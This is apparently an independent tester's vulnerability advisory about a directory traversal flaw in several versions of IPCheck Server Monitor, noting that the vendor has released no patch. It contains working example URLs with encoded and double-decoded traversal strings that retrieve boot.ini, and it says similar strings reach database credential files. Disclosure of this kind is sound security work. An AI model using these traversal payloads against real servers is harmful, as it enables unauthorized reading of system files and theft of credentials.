Directory Traversal vulnerability in IPCheck Monitor Server

Directory Traversal vulnerability in IPCheck Monitor Server

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Overview

A directory traversal vulnerability has been identified in IPCheck Server Monitor Free/Trial/Professional, which may be exploited by potential attackers to retrieve files from the underlying OS.

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Description

An input validation error in the user supplied URL makes it possible to retrieve files from the system root drive via directory traversal attacks using typical hex Unicode and double decode directory traversal strings.

Examples:

http://[host]:8080/images%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2
f..%2f..%2fboot.ini

http://[IPAddress]/images%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2
f..%2f..%2fboot.ini

http://[IP address]/images../..../..../..../..../..../..../..../..../..../..../....
/boot.ini

http://[IP address]/images/..%255c../..%255c../..%255c../..%255c../boot.ini

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Affected Versions

IPCheck Server Monitor 4.3.1.368

IPCheck Server Monitor 4.3.1.382

IPCheck Server Monitor 5.1.0.342

IPCheck Server Monitor 5.2.0.404

IPCheck Server Monitor 5.3.0.508

IPCheck Server Monitor 5.3.2.609 (Current)

(Tested on Microsoft Windows server 2003 platform, other platforms maybe affected also).

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Impact

This particular URL presents the systems boot.ini file located on the root of the system drive. A similar series of strings could also be used by an attacker to access the configuration files of the firebird database which contain the username and password used to access the database.

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Solution

The vendor of this product has been contacted to inform them of this vulnerability but no patch or update has been released since the first vulnerable version tested (4.3.1.368).

Tassi Raeburn

Independent Vulnerability Tester

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